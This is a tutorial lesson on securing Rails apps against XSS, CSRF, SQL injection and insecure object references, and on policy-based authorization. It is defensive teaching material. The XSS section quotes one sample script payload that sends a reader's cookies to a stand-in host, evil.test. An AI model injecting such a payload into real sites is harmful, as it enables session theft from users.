Skip to content
Tutorials Center
My learning

Topics

Lesson 29 of 37 ยท Authentication and Security

Web Security and Authorization in Rails

Protect a Rails app from CSRF, XSS, SQL injection, mass assignment and insecure direct object references, set security headers, and add authorization with policies. Includes runnable escaping and policy stand-ins.

Authentication says who you are. Authorization says what you may do. Between them sits a long list of ways attackers abuse web apps. Rails blocks many of them by default, but only if you use its tools as intended: the helpers that escape output, the placeholders that escape SQL, the token that proves a form came from your site. This lesson tours the main attacks, shows the Rails defence for each, and then builds a clean authorization layer.

As elsewhere in this track, Rails code is read-only (the runner has no gems or database) and the runnable examples are plain-Ruby stand-ins. See strong parameters and sessions for two defences covered earlier.

Cross-site scripting (XSS)

XSS means an attacker gets their JavaScript to run on your page, usually by submitting text that your page later prints as HTML. A comment of <script>fetch('https://evil.test?c='+document.cookie)</script> could steal data from every reader.

The Rails defence is automatic escaping: ERB's <%= %> converts < to &lt; and so on for every string.

ERB
<p><%= @comment.body %></p>          <%# safe: escaped %>
<p><%== @comment.body %></p>         <%# DANGEROUS: raw output %>
<p><%= raw @comment.body %></p>      <%# DANGEROUS %>
<p><%= @comment.body.html_safe %></p> <%# DANGEROUS: tells Rails it is already safe %>

Use sanitize when you must allow some HTML (it keeps a safe whitelist of tags and strips scripts and event handlers), and simple_format for paragraphs:

ERB
<%= sanitize @post.body, tags: %w[p strong em a ul li], attributes: %w[href] %>

Also add a Content Security Policy (config/initializers/content_security_policy.rb) that forbids inline scripts and unknown origins, as a second layer.

Ruby Stand-in: escaping stops XSS

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with gets), it gets the next line from this box.

Cross-site request forgery (CSRF)

CSRF abuses the fact that browsers attach your cookies to every request to your site, even one triggered by another site. A malicious page can contain a hidden form that posts to /transfer while you are logged in. The defence is a secret authenticity token: form_with embeds it, Rails checks it on every POST, PATCH, PUT and DELETE, and an outside page cannot know it. It is on by default in ActionController::Base (protect_from_forgery with: :exception), and Rails also checks the Sec-Fetch-Site header in newer versions. SameSite=Lax cookies add another layer.

Rules: never change data on a GET request; keep CSRF protection on; for JavaScript requests send the token from <%= csrf_meta_tags %> in the X-CSRF-Token header. Pure token APIs (no cookies) skip it with ActionController::API.

Ruby Stand-in: a CSRF token check

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with gets), it gets the next line from this box.

SQL injection

Covered in the query interface: pass user values through hash conditions or placeholders, never string interpolation. Also be careful with order(params[:sort]), pluck(params[:col]), find_by_sql and where("... #{x}"). For sort columns, map user input onto a whitelist:

Ruby
SORTS = { "newest" => { created_at: :desc }, "title" => { title: :asc } }.freeze
Post.order(SORTS.fetch(params[:sort], SORTS["newest"]))

Insecure direct object references

The most common authorization bug: Invoice.find(params[:id]). If invoice 5 belongs to someone else and you can type /invoices/5, you read it. Fix it by scoping through the current user:

Ruby
@invoice = current_user.invoices.find(params[:id])   # raises RecordNotFound -> 404 for others' invoices

Missing records for other people's data look identical to missing records, which also avoids leaking existence. Make this your default pattern for every resource that has an owner.

Other defaults: random or unguessable public identifiers (has_secure_token, UUIDs) when ids are exposed; strong parameters for mass assignment; and never trust params[:user_id] or hidden fields for ownership.

Authorization with policies

Once rules go beyond "owner only" (editors, admins, a moderator who can hide but not delete), scatter-gun if current_user.admin? checks become a mess. Gather the rules in one policy object per model. The popular gems Pundit and Action Policy both use this idea; the code is plain Ruby:

Ruby
class PostPolicy
  def initialize(user, post) = (@user, @post = user, post)
  def show?    = @post.published? || owner? || admin?
  def update?  = owner? || admin?
  def destroy? = admin?

  private

  def owner? = @user && @post.user_id == @user.id
  def admin? = @user&.admin?
end

# controller
def update
  @post = Post.find(params[:id])
  authorize @post                 # Pundit: raises Pundit::NotAuthorizedError unless PostPolicy#update?
  # ...
end

Then rescue the error once in ApplicationController and redirect with "You are not allowed to do that". Show or hide buttons in views with the same policy(@post).update? check, but remember that hiding a button is not security; the controller check is.

Ruby Stand-in: a policy object

Press Run (or Ctrl + Enter) to see the result here.

Program input ยท what you'd type while the program runs

Type the answers before you press Run, one per line. Each time the program reads a line (with gets), it gets the next line from this box.

Role models can also be simple: an enum :role, { member: 0, editor: 1, admin: 2 } column. For complex needs, such as per-team permissions, store them in a join model and check them in the policy.

Headers, HTTPS and secrets

  • config.force_ssl = true in production redirects to HTTPS, sets Secure cookies and HSTS.
  • Rails sets safe default headers (X-Frame-Options, X-Content-Type-Options, Referrer-Policy); customise with config.action_dispatch.default_headers.
  • Keep secrets in encrypted credentials or environment variables, never in git; add config.filter_parameters for sensitive fields so they stay out of logs.
  • Run bundle audit and Brakeman (bin/brakeman, included in new apps) in CI to catch known vulnerable gems and risky code patterns. Keep Rails and Ruby updated.
  • Validate uploads (type, size) and never serve user files from a path built from user input.
  • Rate-limit logins and expensive endpoints: rate_limit to: 10, within: 3.minutes (Rails 7.2+) or Rack::Attack.

Security is a checklist of habits, not a feature you add at the end. Escape by default, scope queries through the current user, and put every allow/deny decision in one place you can read and test.

Check your understanding

Quick check ยท 4 questions

of 4 answered You scored / 4 ยท perfect!

  1. 1. Which ERB tag escapes HTML by default?

    <%= %> escapes the string; the other three output it raw.
  2. 2. What does the authenticity token protect against?

    Forged cross-site requests cannot include the secret token, so Rails rejects them.
  3. 3. How do you avoid an insecure direct object reference when loading an invoice?

    Scoping through the current user makes other people's records raise RecordNotFound.
  4. 4. Why is hiding a Delete button not enough?

    Authorization must be enforced on the server for every action.

Summary

  • ERB escapes by default; avoid raw, html_safe and <%==, use sanitize for allowed HTML, and add a CSP.
  • CSRF tokens, SameSite cookies and never mutating on GET stop forged requests.
  • Use placeholders and whitelists to avoid SQL injection.
  • Scope records through current_user to stop insecure direct object references.
  • Put permissions in policy objects (Pundit or plain Ruby) and enforce them in controllers.
  • Force HTTPS, protect secrets, filter logs, and run Brakeman and bundle audit.

Next: API authentication with tokens